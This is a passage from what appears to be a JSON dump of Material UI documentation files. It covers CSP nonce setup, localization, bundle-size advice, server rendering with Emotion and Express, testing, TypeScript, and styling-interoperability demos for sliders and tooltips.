'@mui/material-nextjs/v15-pagesRouter';\n// other imports\n\ntype Props = DocumentInitialProps & DocumentHeadTagsProps & { nonce?: string };\n\nexport default function MyDocument(props: Props) {\n  const { nonce } = props;\n\n  return (\n    <Html lang=\"en\" className={roboto.className}>\n      <Head>\n        {/*...*/}\n        <meta name=\"csp-nonce\" content={nonce} />\n        <DocumentHeadTags {...props} nonce={nonce} />\n      </Head>\n      <body>\n        {/*...*/}\n        <NextScript nonce={nonce} />\n      </body>\n    </Html>\n  );\n}\n\nMyDocument.getInitialProps = async (ctx: DocumentContext) => {\n  const { req } = ctx;\n  const nonce = req?.headers['x-nonce'];\n  if (typeof nonce !== 'string') {\n    throw new Error('\"nonce\" header is missing');\n  }\n\n  const emotionCache = createEmotionCache({ nonce });\n  const finalProps = await documentGetInitialProps(ctx, {\n    emotionCache,\n  });\n\n  return { ...finalProps, nonce };\n};\n```\n\n2. In `_app.tsx` (if you're setting up the `AppCacheProvider`):\n\n```tsx\nimport { createEmotionCache } from '@mui/material-nextjs/v15-pagesRouter';\n// other imports\n\nexport default function MyApp(props: AppProps & { nonce: string }) {\n  const { Component, pageProps, nonce } = props;\n\n  const emotionCache = useMemo(() => {\n    const nonce = props.nonce || getNonce();\n\n    return createEmotionCache({ nonce });\n  }, [props.nonce]);\n\n  return (\n    <AppCacheProvider {...props} emotionCache={emotionCache}>\n      {/* ... */}\n    </AppCacheProvider>\n  );\n}\n\nfunction getNonce(headers?: Record<string, string | string[] | undefined>) {\n  if (headers) {\n    return headers['x-nonce'] as string;\n  }\n\n  if (typeof document !== 'undefined') {\n    const nonceMeta = document.querySelector('meta[name=\"csp-nonce\"]');\n    if (nonceMeta) {\n      return nonceMeta.getAttribute('content') || undefined;\n    }\n  }\n\n  return undefined;\n}\n\nMyApp.getInitialProps = async (appContext: AppContext) => {\n  const nonce = getNonce(appContext.ctx?.req?.headers);\n  if (typeof nonce !== 'string') {\n    throw new Error('\"nonce\" header is missing');\n  }\n\n  return { ...otherProps, nonce };\n};\n```\n\n### styled-components\n\nThe configuration of the nonce is not straightforward, but you can follow [this issue](https://github.com/styled-components/styled-components/issues/2363) for more insights.\n"
  },
  {
    "path": "docs/data/material/guides/localization/Locales.js",
    "content": "import * as React from 'react';\nimport TablePagination from '@mui/material/TablePagination';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\nimport { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';\nimport * as locales from '@mui/material/locale';\n\nexport default function Locales() {\n  const [locale, setLocale] = React.useState('zhCN');\n\n  const theme = useTheme();\n\n  const themeWithLocale = React.useMemo(\n    () => createTheme(theme, locales[locale]),\n    [locale, theme],\n  );\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <ThemeProvider theme={themeWithLocale}>\n        <Autocomplete\n          options={Object.keys(locales)}\n          getOptionLabel={(key) => `${key.substring(0, 2)}-${key.substring(2, 4)}`}\n          style={{ width: 300 }}\n          value={locale}\n          disableClearable\n          onChange={(event, newValue) => {\n            setLocale(newValue);\n          }}\n          renderInput={(params) => (\n            <TextField {...params} label=\"Locale\" fullWidth />\n          )}\n        />\n        <TablePagination\n          count={2000}\n          rowsPerPage={10}\n          page={1}\n          component=\"div\"\n          onPageChange={() => {}}\n        />\n      </ThemeProvider>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/guides/localization/Locales.tsx",
    "content": "import * as React from 'react';\nimport TablePagination from '@mui/material/TablePagination';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\nimport { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';\nimport * as locales from '@mui/material/locale';\n\ntype SupportedLocales = keyof typeof locales;\n\nexport default function Locales() {\n  const [locale, setLocale] = React.useState<SupportedLocales>('zhCN');\n\n  const theme = useTheme();\n\n  const themeWithLocale = React.useMemo(\n    () => createTheme(theme, locales[locale]),\n    [locale, theme],\n  );\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <ThemeProvider theme={themeWithLocale}>\n        <Autocomplete\n          options={Object.keys(locales)}\n          getOptionLabel={(key) => `${key.substring(0, 2)}-${key.substring(2, 4)}`}\n          style={{ width: 300 }}\n          value={locale}\n          disableClearable\n          onChange={(event: any, newValue: string | null) => {\n            setLocale(newValue as SupportedLocales);\n          }}\n          renderInput={(params) => (\n            <TextField {...params} label=\"Locale\" fullWidth />\n          )}\n        />\n        <TablePagination\n          count={2000}\n          rowsPerPage={10}\n          page={1}\n          component=\"div\"\n          onPageChange={() => {}}\n        />\n      </ThemeProvider>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/guides/localization/localization.md",
    "content": "# Localization\n\n<p class=\"description\">Localization (also referred to as \"l10n\") is the process of adapting a product or content to a specific locale or market.</p>\n\nThe default locale of Material UI is English (United States). If you want to use other locales, follow the instructions below.\n\n## Locale text\n\nUse the theme to configure the locale text globally:\n\n```jsx\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport { zhCN } from '@mui/material/locale';\n\nconst theme = createTheme(\n  {\n    palette: {\n      primary: { main: '#1976d2' },\n    },\n  },\n  zhCN,\n);\n\n<ThemeProvider theme={theme}>\n  <App />\n</ThemeProvider>;\n```\n\n### Example\n\n{{\"demo\": \"Locales.js\"}}\n\n:::warning\nThe [Data Grid and Data Grid Pro](/x/react-data-grid/) components have their own [localization](/x/react-data-grid/localization/).\n:::\n\n### Supported locales\n\n| Locale                  | BCP 47 language tag | Import name |\n| :---------------------- | :------------------ | :---------- |\n| Amharic                 | am-ET               | `amET`      |\n| Arabic (Egypt)          | ar-EG               | `arEG`      |\n| Arabic (Saudi Arabia)   | ar-SA               | `arSA`      |\n| Arabic (Sudan)          | ar-SD               | `arSD`      |\n| Armenian                | hy-AM               | `hyAM`      |\n| Azerbaijani             | az-AZ               | `azAZ`      |\n| Bangla                  | bn-BD               | `bnBD`      |\n| Bulgarian               | bg-BG               | `bgBG`      |\n| Catalan                 | ca-ES               | `caES`      |\n| Chinese (Hong Kong)     | zh-HK               | `zhHK`      |\n| Chinese (Simplified)    | zh-CN               | `zhCN`      |\n| Chinese (Taiwan)        | zh-TW               | `zhTW`      |\n| Croatian                | hr-HR               | `hrHR`      |\n| Czech                   | cs-CZ               | `csCZ`      |\n| Danish                  | da-DK               | `daDK`      |\n| Dutch                   | nl-NL               | `nlNL`      |\n| English (United States) | en-US               | `enUS`      |\n| Estonian                | et-EE               | `etEE`      |\n| Finnish                 | fi-FI               | `fiFI`      |\n| French                  | fr-FR               | `frFR`      |\n| German                  | de-DE               | `deDE`      |\n| Greek                   | el-GR               | `elGR`      |\n| Hebrew                  | he-IL               | `heIL`      |\n| Hindi                   | hi-IN               | `hiIN`      |\n| Hungarian               | hu-HU               | `huHU`      |\n| Icelandic               | is-IS               | `isIS`      |\n| Indonesian              | id-ID               | `idID`      |\n| Italian                 | it-IT               | `itIT`      |\n| Japanese                | ja-JP               | `jaJP`      |\n| Khmer                   | kh-KH               | `khKH`      |\n| Kazakh                  | kk-KZ               | `kkKZ`      |\n| Korean                  | ko-KR               | `koKR`      |\n| Kurdish (Central)       | ku-CKB              | `kuCKB`     |\n| Macedonian              | mk-MK               | `mkMK`      |\n| Myanmar                 | my-MY               | `myMY`      |\n| Malay                   | ms-MS               | `msMS`      |\n| Nepali                  | ne-NP               | `neNP`      |\n| Norwegian (bokmål)      | nb-NO               | `nbNO`      |\n| Norwegian (nynorsk)     | nn-NO               | `nnNO`      |\n| Pashto (Afghanistan)    | ps-AF               | `psAF`      |\n| Persian                 | fa-IR               | `faIR`      |\n| Polish                  | pl-PL               | `plPL`      |\n| Portuguese              | pt-PT               | `ptPT`      |\n| Portuguese (Brazil)     | pt-BR               | `ptBR`      |\n| Romanian                | ro-RO               | `roRO`      |\n| Russian                 | ru-RU               | `ruRU`      |\n| Serbian                 | sr-RS               | `srRS`      |\n| Sinhalese               | si-LK               | `siLK`      |\n| Slovak                  | sk-SK               | `skSK`      |\n| Spanish                 | es-ES               | `esES`      |\n| Swedish                 | sv-SE               | `svSE`      |\n| Thai                    | th-TH               | `thTH`      |\n| Turkish                 | tr-TR               | `trTR`      |\n| Tagalog                 | tl-TL               | `tlTL`      |\n| Ukrainian               | uk-UA               | `ukUA`      |\n| Urdu (Pakistan)         | ur-PK               | `urPK`      |\n| Vietnamese              | vi-VN               | `viVN`      |\n\n<!-- #target-branch-reference -->\n\nYou can [find the source](https://github.com/mui/material-ui/blob/master/packages/mui-material/src/locale/index.ts) in the GitHub repository.\n\nTo create your own translation, or to customize the English text, copy this file to your project, make any changes needed and import the locale from there.\n\nPlease do consider contributing new translations back to Material UI by opening a pull request.\nHowever, Material UI aims to support the [100 most common](https://en.wikipedia.org/wiki/List_of_languages_by_number_of_native_speakers) [locales](https://www.ethnologue.com/insights/ethnologue200/), we might not accept contributions for locales that are not frequently used, for instance `gl-ES` that has \"only\" 2.5 million native speakers.\n\n## RTL Support\n\nRight-to-left languages such as Arabic, Persian, Hebrew, Kurdish, and others are supported.\nFollow [this guide](/material-ui/customization/right-to-left/) to use them.\n"
  },
  {
    "path": "docs/data/material/guides/minimizing-bundle-size/minimizing-bundle-size.md",
    "content": "# Minimizing bundle size\n\n<p class=\"description\">Learn how to reduce your bundle size and improve development performance by avoiding costly import patterns.</p>\n\n## Bundle size matters\n\nMaterial UI's maintainers take bundle size very seriously. Size snapshots are taken on every commit for every package and critical parts of those packages. Combined with [dangerJS](https://danger.systems/js/), we can inspect [detailed bundle size changes](https://github.com/mui/material-ui/pull/14638#issuecomment-466658459) on every Pull Request.\n\n## Avoid barrel imports\n\nModern bundlers already tree-shake unused code in production builds, so you don't need to worry about it when using top-level imports. The real performance concern is during **development**, where **barrel imports** like `@mui/material` or `@mui/icons-material` can cause significantly **slower startup and rebuild times**.\n\n```js\n// ✅ Preferred\nimport Button from '@mui/material/Button';\nimport TextField from '@mui/material/TextField';\n```\n\nInstead of:\n\n```js\n// ❌ Slower in dev\nimport { Button, TextField } from '@mui/material';\n```\n\nThis is especially true when using `@mui/icons-material`, where named imports can be up to six times slower than default path-based imports:\n\n```js\n// 🐌 Slower in dev\nimport { Delete } from '@mui/icons-material';\n\n// 🚀 Faster in dev\nimport Delete from '@mui/icons-material/Delete';\n```\n\nThis approach avoids loading unnecessary parts of the package and does not require any special configuration. It is also the default used in all our official examples and demos.\n\nIf you have existing barrel imports in your codebase, use the `path-imports` [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod/README.md#path-imports) below to migrate your code:\n\n```bash\nnpx @mui/codemod@latest v5.0.0/path-imports <path>\n```\n\n## Enforce best practices with ESLint\n\nTo prevent accidental deep imports, you can use the `no-restricted-imports` rule in your ESLint configuration:\n\n```json\n// .eslintrc\n{\n  \"rules\": {\n    \"no-restricted-imports\": [\n      \"error\",\n      {\n        \"patterns\": [{ \"regex\": \"^@mui/[^/]+$\" }]\n      }\n    ]\n  }\n}\n```\n\n## Avoid VS Code auto-importing from barrel files\n\nTo prevent VS Code from automatically importing from `@mui/material`, you can use the `typescript.autoImportSpecifierExcludeRegexes` in the VS Code project configuration:\n\n```json\n// .vscode/settings.json\n{\n  \"typescript.preferences.autoImportSpecifierExcludeRegexes\": [\"^@mui/[^/]+$\"]\n}\n```\n\n## Using Next.js 13.5 or later?\n\nIf you're on **Next.js 13.5 or newer**, you're in good hands. These versions include automatic import optimization via the `optimizePackageImports` option. This removes the need for manual configuration or Babel plugins to optimize imports.\n\n## Using parcel\n\nParcel, by default, doesn't resolve package.json `\"exports\"`. This makes it always resolve to the commonjs version of our library. To make it optimally make use of our ESM version, make sure to [enable the `packageExports` option](https://parceljs.org/features/dependency-resolution/#enabling-package-exports).\n\n```json\n// ./package.json\n{\n  \"@parcel/resolver-default\": {\n    \"packageExports\": true\n  }\n}\n```\n"
  },
  {
    "path": "docs/data/material/guides/responsive-ui/responsive-ui.md",
    "content": "# Responsive UI\n\n<p class=\"description\">Material Design layouts encourage consistency across platforms, environments, and screen sizes by using uniform elements and spacing.</p>\n\n[Responsive layouts](https://m2.material.io/design/layout/responsive-layout-grid.html) in Material Design adapt to any possible screen size.\nWe provide the following helpers to make the UI responsive:\n\n- [Grid](/material-ui/react-grid/): The Material Design responsive layout grid adapts to screen size and orientation, ensuring consistency across layouts.\n- [Container](/material-ui/react-container/): The container centers your content horizontally. It's the most basic layout element.\n- [Breakpoints](/material-ui/customization/breakpoints/): API that enables the use of breakpoints in a wide variety of contexts.\n- [useMediaQuery](/material-ui/react-use-media-query/): This is a CSS media query hook for React. It listens for matches to a CSS media query.\n"
  },
  {
    "path": "docs/data/material/guides/server-rendering/server-rendering.md",
    "content": "# Server rendering\n\n<p class=\"description\">The most common use case for server-side rendering is to handle the initial render when a user (or search engine crawler) first requests your app.</p>\n\nWhen the server receives the request, it renders the required component(s) into an HTML string and then sends it as a response to the client.\nFrom that point on, the client takes over rendering duties.\n\n## Material UI on the server\n\nMaterial UI was designed from the ground-up with the constraint of rendering on the server, but it's up to you to make sure it's correctly integrated.\nIt's important to provide the page with the required CSS, otherwise the page will render with just the HTML then wait for the CSS to be injected by the client, causing it to flicker (FOUC).\nTo inject the style down to the client, we need to:\n\n1. Create a fresh, new [`emotion cache`](https://emotion.sh/docs/@emotion/cache) instance on every request.\n2. Render the React tree with the server-side collector.\n3. Pull the CSS out.\n4. Pass the CSS along to the client.\n\nOn the client-side, the CSS will be injected a second time before removing the server-side injected CSS.\n\n## Setting up\n\nIn the following recipe, we are going to look at how to set up server-side rendering.\n\n### The theme\n\nCreate a theme that will be shared between the client and the server:\n\n```js title=\"theme.js\"\nimport { createTheme } from '@mui/material/styles';\nimport { red } from '@mui/material/colors';\n\n// Create a theme instance.\nconst theme = createTheme({\n  palette: {\n    primary: {\n      main: '#556cd6',\n    },\n    secondary: {\n      main: '#19857b',\n    },\n    error: {\n      main: red.A400,\n    },\n  },\n});\n\nexport default theme;\n```\n\n### The server-side\n\nThe following is the outline for what the server-side is going to look like.\nWe are going to set up an [Express middleware](https://expressjs.com/en/guide/using-middleware.html) using [app.use](https://expressjs.com/en/api.html) to handle all requests that come into the server.\nIf you're unfamiliar with Express or middleware, know that the `handleRender` function will be called every time the server receives a request.\n\n```js title=\"server.js\"\nimport express from 'express';\n\n// We are going to fill these out in the sections to follow.\nfunction renderFullPage(html, css) {\n  /* ... */\n}\n\nfunction handleRender(req, res) {\n  /* ... */\n}\n\nconst app = express();\n\n// This is fired every time the server-side receives a request.\napp.use(handleRender);\n\nconst port = 3000;\napp.listen(port);\n```\n\n### Handling the request\n\nThe first thing that we need to do on every request is to create a new `emotion cache`.\n\nWhen rendering, we will wrap `App`, the root component,\ninside a [`CacheProvider`](https://emotion.sh/docs/cache-provider) and [`ThemeProvider`](https://v6.mui.com/system/styles/api/#themeprovider) to make the style configuration and the `theme` available to all components in the component tree.\n\nThe key step in server-side rendering is to render the initial HTML of the component **before** we send it to the client-side. To do this, we use [ReactDOMServer.renderToString()](https://react.dev/reference/react-dom/server/renderToString).\n\nMaterial UI uses Emotion as its default styled engine.\nWe need to extract the styles from the Emotion instance.\nFor this, we need to share the same cache configuration for both the client and server:\n\n```js title=\"createEmotionCache.js\"\nimport createCache from '@emotion/cache';\n\nexport default function createEmotionCache() {\n  return createCache({ key: 'css' });\n}\n```\n\nWith this we are creating a new Emotion cache instance and using this to extract the critical styles for the HTML as well.\n\nWe will see how this is passed along in the `renderFullPage` function.\n\n```jsx\nimport express from 'express';\nimport * as React from 'react';\nimport * as ReactDOMServer from 'react-dom/server';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { ThemeProvider } from '@mui/material/styles';\nimport { CacheProvider } from '@emotion/react';\nimport createEmotionServer from '@emotion/server/create-instance';\nimport App from './App';\nimport theme from './theme';\nimport createEmotionCache from './createEmotionCache';\n\nfunction handleRender(req, res) {\n  const cache = createEmotionCache();\n  const { extractCriticalToChunks, constructStyleTagsFromChunks } =\n    createEmotionServer(cache);\n\n  // Render the component to a string.\n  const html = ReactDOMServer.renderToString(\n    <CacheProvider value={cache}>\n      <ThemeProvider theme={theme}>\n        {/* CssBaseline kickstart an elegant, consistent, and simple baseline\n            to build upon. */}\n        <CssBaseline />\n        <App />\n      </ThemeProvider>\n    </CacheProvider>,\n  );\n\n  // Grab the CSS from emotion\n  const emotionChunks = extractCriticalToChunks(html);\n  const emotionCss = constructStyleTagsFromChunks(emotionChunks);\n\n  // Send the rendered page back to the client.\n  res.send(renderFullPage(html, emotionCss));\n}\n\nconst app = express();\n\napp.use('/build', express.static('build'));\n\n// This is fired every time the server-side receives a request.\napp.use(handleRender);\n\nconst port = 3000;\napp.listen(port);\n```\n\n### Inject initial component HTML and CSS\n\nThe final step on the server-side is to inject the initial component HTML and CSS into a template to be rendered on the client-side.\n\n```js\nfunction renderFullPage(html, css) {\n  return `\n    <!DOCTYPE html>\n    <html>\n      <head>\n        <meta charset=\"utf-8\" />\n        <title>My page</title>\n        ${css}\n        <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n        <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n        <link\n          rel=\"stylesheet\"\n          href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap\"\n        />\n      </head>\n      <body>\n        <div id=\"root\">${html}</div>\n      </body>\n    </html>\n  `;\n}\n```\n\n### The client-side\n\nThe client-side is straightforward.\nAll we need to do is use the same cache configuration as the server-side.\nLet's take a look at the client file:\n\n```jsx title=\"client.js\"\nimport * as React from 'react';\nimport * as ReactDOM from 'react-dom';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { ThemeProvider } from '@mui/material/styles';\nimport { CacheProvider } from '@emotion/react';\nimport App from './App';\nimport theme from './theme';\nimport createEmotionCache from './createEmotionCache';\n\nconst cache = createEmotionCache();\n\nfunction Main() {\n  return (\n    <CacheProvider value={cache}>\n      <ThemeProvider theme={theme}>\n        {/* CssBaseline kickstart an elegant, consistent, and simple baseline\n            to build upon. */}\n        <CssBaseline />\n        <App />\n      </ThemeProvider>\n    </CacheProvider>\n  );\n}\n\nReactDOM.hydrateRoot(document.querySelector('#root'), <Main />);\n```\n\n## Reference implementations\n\nHere is [the reference implementation of this tutorial](https://github.com/mui/material-ui/tree/HEAD/examples/material-ui-express-ssr).\nYou can more SSR implementations in the GitHub repository under the `/examples` folder, see [the other examples](/material-ui/getting-started/example-projects/).\n"
  },
  {
    "path": "docs/data/material/guides/testing/testing.md",
    "content": "# Testing\n\n<p class=\"description\">Write tests to prevent regressions and write better code.</p>\n\n## Userspace\n\nIt's generally recommended to test your application without tying the tests too closely to Material UI.\nThis is how Material UI components are tested internally.\nA library that has a first-class API for this approach is [`@testing-library/react`](https://testing-library.com/docs/react-testing-library/intro/).\n\nFor example, when rendering a `TextField` your test should not need to query for the specific Material UI instance of the `TextField` but rather for the `input`, or `[role=\"textbox\"]`.\n\nBy not relying on the React component tree you make your test more robust against internal changes in Material UI or, if you need snapshot testing, adding additional wrapper components such as context providers.\nWe don't recommend snapshot testing though.\n[\"Effective snapshot testing\" by Kent C. Dodds](https://kentcdodds.com/blog/effective-snapshot-testing) goes into more details why snapshot testing might be misleading for React component tests.\n\n## Internal\n\nWe have **a wide range** of tests for Material UI so we can\niterate with confidence on the components, for instance, the visual regression tests provided by [Argos](https://argos-ci.com) have proven to be really helpful.\nTo learn more about the internal tests, you can have a look at the [README](https://github.com/mui/material-ui/blob/HEAD/test/README.md).\n"
  },
  {
    "path": "docs/data/material/guides/typescript/typescript.md",
    "content": "# TypeScript\n\n<p class=\"description\">You can add static typing to JavaScript to improve developer productivity and code quality, thanks to TypeScript.</p>\n\n## Minimum configuration\n\n<!-- #target-branch-reference -->\n\nMaterial UI requires a minimum version of TypeScript 4.9. Have a look at the [Vite.js with TypeScript](https://github.com/mui/material-ui/tree/master/examples/material-ui-vite-ts) example.\n\nFor types to work, it's recommended that you have at least the following options enabled in your `tsconfig.json`:\n\n```json\n{\n  \"compilerOptions\": {\n    \"lib\": [\"es6\", \"dom\"],\n    \"noImplicitAny\": true,\n    \"noImplicitThis\": true,\n    \"strictNullChecks\": true,\n    \"allowSyntheticDefaultImports\": true\n  }\n}\n```\n\nThe strict mode options are the same that are required for every types package\npublished in the `@types/` namespace.\nUsing a less strict `tsconfig.json` or omitting some of the libraries might cause errors.\nTo get the best type experience with the types we recommend setting `\"strict\": true`.\n\n## Handling `value` and event handlers\n\nMany components concerned with user input offer a `value` prop or event handlers\nwhich include the current `value`. In most situations that `value` is only handled\nwithin React which allows it be of any type, such as objects or arrays.\n\nHowever, that type cannot be verified at compile time in situations where it depends on the component's children, for example `Select` or `RadioGroup`.\nThis means that the soundest option is to type it as `unknown` and let the developer decide how they want to narrow that type down.\nWe do not offer the possibility to use a generic type in those cases for [the same reasons `event.target` is not generic in React](https://github.com/DefinitelyTyped/DefinitelyTyped/issues/11508#issuecomment-256045682).\n\nThe demos include typed variants that use type casting.\nIt is an acceptable tradeoff because the types are all located in a single file and are very basic.\nYou have to decide for yourself if the same tradeoff is acceptable for you.\nThe library types are strict by default and loose via opt-in.\n\n## Customization of `Theme`\n\nMoved to [the Customizing the theme page](/material-ui/customization/theming/#custom-variables).\n\n## Complications with the `component` prop\n\nBecause of some TypeScript limitations, using the `component` prop can be problematic if you are creating your custom component based on the Material UI's components.\nFor the composition of the components, you will likely need to use one of these two options:\n\n1. Wrap the Material UI component in order to enhance it\n2. Use the `styled()` utility in order to customize the styles of the component\n\nIf you are using the first option, take a look at the [composition guide](/material-ui/guides/composition/#with-typescript) for more details.\n\nIf you are using the `styled()` utility (regardless of whether it comes from `@mui/material` or `@emotion/styled`), you will need to cast the resulting component as shown below:\n\n```tsx\nimport Button from '@mui/material/Button';\nimport { styled } from '@mui/material/styles';\n\nconst CustomButton = styled(Button)({\n  // your custom styles go here\n}) as typeof Button;\n```\n"
  },
  {
    "path": "docs/data/material/integrations/interoperability/EmotionCSS.js",
    "content": "/** @jsxImportSource @emotion/react */\nimport { css } from '@emotion/react';\nimport Slider from '@mui/material/Slider';\nimport Box from '@mui/material/Box';\n\nexport default function EmotionCSS() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider defaultValue={30} />\n      <Slider\n        defaultValue={30}\n        css={css`\n          color: #20b2aa;\n\n          :hover {\n            color: #2e8b57;\n          }\n        `}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/interoperability/EmotionCSS.tsx",
    "content": "/** @jsxImportSource @emotion/react */\nimport { css } from '@emotion/react';\nimport Slider from '@mui/material/Slider';\nimport Box from '@mui/material/Box';\n\nexport default function EmotionCSS() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider defaultValue={30} />\n      <Slider\n        defaultValue={30}\n        css={css`\n          color: #20b2aa;\n\n          :hover {\n            color: #2e8b57;\n          }\n        `}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/interoperability/EmotionCSS.tsx.preview",
    "content": "<Slider defaultValue={30} />\n<Slider\n  defaultValue={30}\n  css={css`\n    color: #20b2aa;\n\n    :hover {\n      color: #2e8b57;\n    }\n  `}\n/>"
  },
  {
    "path": "docs/data/material/integrations/interoperability/StyledComponents.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Slider from '@mui/material/Slider';\nimport Box from '@mui/material/Box';\n\nconst SliderCustomized = styled(Slider)`\n  color: #20b2aa;\n\n  :hover {\n    color: #2e8b57;\n  }\n`;\n\nexport default function StyledComponents() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider defaultValue={30} />\n      <SliderCustomized defaultValue={30} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/interoperability/StyledComponents.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Slider from '@mui/material/Slider';\nimport Box from '@mui/material/Box';\n\nconst SliderCustomized = styled(Slider)`\n  color: #20b2aa;\n\n  :hover {\n    color: #2e8b57;\n  }\n`;\n\nexport default function StyledComponents() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider defaultValue={30} />\n      <SliderCustomized defaultValue={30} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/interoperability/StyledComponents.tsx.preview",
    "content": "<Slider defaultValue={30} />\n<SliderCustomized defaultValue={30} />"
  },
  {
    "path": "docs/data/material/integrations/interoperability/StyledComponentsDeep.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Slider from '@mui/material/Slider';\nimport Box from '@mui/material/Box';\n\nconst CustomizedSlider = styled(Slider)`\n  color: #20b2aa;\n\n  &:hover {\n    color: #2e8b57;\n  }\n\n  & .MuiSlider-thumb {\n    border-radius: 1px;\n  }\n`;\n\nexport default function StyledComponentsDeep() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider defaultValue={30} />\n      <CustomizedSlider defaultValue={30} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/interoperability/StyledComponentsDeep.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Slider from '@mui/material/Slider';\nimport Box from '@mui/material/Box';\n\nconst CustomizedSlider = styled(Slider)`\n  color: #20b2aa;\n\n  &:hover {\n    color: #2e8b57;\n  }\n\n  & .MuiSlider-thumb {\n    border-radius: 1px;\n  }\n`;\n\nexport default function StyledComponentsDeep() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider defaultValue={30} />\n      <CustomizedSlider defaultValue={30} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/interoperability/StyledComponentsDeep.tsx.preview",
    "content": "<Slider defaultValue={30} />\n<CustomizedSlider defaultValue={30} />"
  },
  {
    "path": "docs/data/material/integrations/interoperability/StyledComponentsPortal.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nconst StyledTooltip = styled(({ className, ...props }) => (\n  <Tooltip {...props} classes={{ popper: className }} />\n))`\n  & .MuiTooltip-tooltip {\n    background: navy;\n  }\n`;\n\nexport default function StyledComponentsPortal() {\n  return (\n    <StyledTooltip title=\"I am navy\">\n      <Button variant=\"contained\" color=\"primary\">\n        Styled tooltip\n      </Button>\n    </StyledTooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/interoperability/StyledComponentsPortal.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Tooltip, { TooltipProps } from '@mui/material/Tooltip';\n\nconst StyledTooltip = styled(({ className, ...props }: TooltipProps) => (\n  <Tooltip {...props} classes={{ popper: className }} />\n))`\n  & .MuiTooltip-tooltip {\n    background: navy;\n  }\n`;\n\nexport default function StyledComponentsPortal() {\n  return (\n    <StyledTooltip title=\"I am navy\">\n      <Button variant=\"contained\" color=\"primary\">\n        Styled tooltip\n      </Button>\n    </StyledTooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/interoperability/StyledComponentsPortal.tsx.preview",
    "content": "<StyledTooltip title=\"I am navy\">\n  <Button variant=\"contained\" color=\"primary\">\n    Styled tooltip\n  </Button>\n</StyledTooltip>"
  },
  {
    "path": "docs/data/material/integrations/interoperability/StyledComponentsTheme.js",
    "content": "import { createTheme, styled, ThemeProvider, darken } from '@mui/material/styles';\nimport Slider from '@mui/material/Slider';\nimport Box from '@mui/material/Box';\n\nconst customTheme = createTheme({\n  palette: {\n    primary: {\n      main: '#20b2aa',\n    },\n  },\n});\n\nconst CustomizedSlider = styled(Slider)(\n  ({ theme }) => `\n  color: ${theme.palette.primary.main};\n\n  :hover {\n    color: ${darken(theme.palette.primary.main, 0.2)};\n  }\n`,\n);\n\nexport default function StyledComponentsTheme() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <ThemeProvider theme={customTheme}>\n        <CustomizedSlider defaultValue={30} />\n      </ThemeProvider>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/interoperability/StyledComponentsTheme.tsx",
    "content": "import { createTheme, styled, ThemeProvider, darken } from '@mui/material/styles';\nimport Slider from '@mui/material/Slider';\nimport Box from '@mui/material/Box';\n\nconst customTheme = createTheme({\n  palette: {\n    primary: {\n      main: '#20b2aa',\n    },\n  },\n});\n\nconst CustomizedSlider = styled(Slider)(\n  ({ theme }) => `\n  color: ${theme.palette.primary.main};\n\n  :hover {\n    color: ${darken(theme.palette.primary.main, 0.2)};\n  }\n`,\n);\n\nexport default function StyledComponentsTheme() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <ThemeProvider theme={customTheme}>\n        <CustomizedSlider defaultValue={30} />\n      </ThemeProvider>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/interoperability/StyledComponentsTheme.tsx.preview",
    "content": "<ThemeProvider theme={customTheme}>\n  <CustomizedSlider defaultValue={30} />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/integrations/interoperability/interoperability.md",
